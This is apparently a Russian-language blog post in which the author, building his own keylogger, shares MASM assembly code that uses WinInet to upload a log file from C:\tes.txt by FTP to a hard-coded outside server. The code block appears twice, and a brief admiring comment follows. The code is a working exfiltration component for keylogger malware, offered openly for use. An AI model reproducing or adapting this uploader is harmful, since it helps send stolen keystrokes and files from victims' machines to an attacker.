Взялся я тут за написание своего кейлоггера, логи решил отправлять на фтп, самый не плохой вариант по моему.С удивлением обнаружил что все что есть в интернете практически полностью реализовано на VCL, а так как я пишу логер на api то я не могу позволить себе использовать VCL, по этому я написал простую реализацию на ассемблере и библиотеке win inet которая поставляется в комплекте с вендой.
.386
.model flat,stdcall
option casemap:none
include include\windows.inc
include include\kernel32.inc
include include\user32.inc
include INCLUDE\wininet.inc
includelib lib\user32.lib
includelib lib\kernel32.lib
includelib LIB\wininet.lib
.data
file db 'C:\tes.txt',0 ; файл для залива
ftpfn db 'tes.txt',0 ; залитый файл
host db 'splashed.ucoz.ru',0 ; адрес фтп
login db 'login',0
password db 'password',0
agent db 'iexplore',0
hinet dd 0
hc dd 0
.code
start:
invoke InternetOpen,addr agent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hinet,eax
invoke InternetConnect,hinet,addr host,INTERNET_DEFAULT_FTP_PORT,addr login,addr password,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0
mov hc,eax
invoke FtpPutFile,hc,addr file,addr ftpfn,FTP_TRANSFER_TYPE_BINARY,0
invoke InternetCloseHandle,hc
invoke InternetCloseHandle,hinet
invoke ExitProcess,0
end start
и мы не получаем вес как у коровы,а получаем 1.5 кб веса и работоспособный заливщик;)
.386
.model flat,stdcall
option casemap:none
include include\windows.inc
include include\kernel32.inc
include include\user32.inc
include INCLUDE\wininet.inc
includelib lib\user32.lib
includelib lib\kernel32.lib
includelib LIB\wininet.lib
.data
file db 'C:\tes.txt',0 ; файл для залива
ftpfn db 'tes.txt',0 ; залитый файл
host db 'splashed.ucoz.ru',0 ; адрес фтп
login db 'login',0
password db 'password',0
agent db 'iexplore',0
hinet dd 0
hc dd 0
.code
start:
invoke InternetOpen,addr agent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hinet,eax
invoke InternetConnect,hinet,addr host,INTERNET_DEFAULT_FTP_PORT,addr login,addr password,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0
mov hc,eax
invoke FtpPutFile,hc,addr file,addr ftpfn,FTP_TRANSFER_TYPE_BINARY,0
invoke InternetCloseHandle,hc
invoke InternetCloseHandle,hinet
invoke ExitProcess,0
end start
и мы не получаем вес как у коровы,а получаем 1.5 кб веса и работоспособный заливщик;)
Фигасе! Крутотенюшка!
ОтветитьУдалить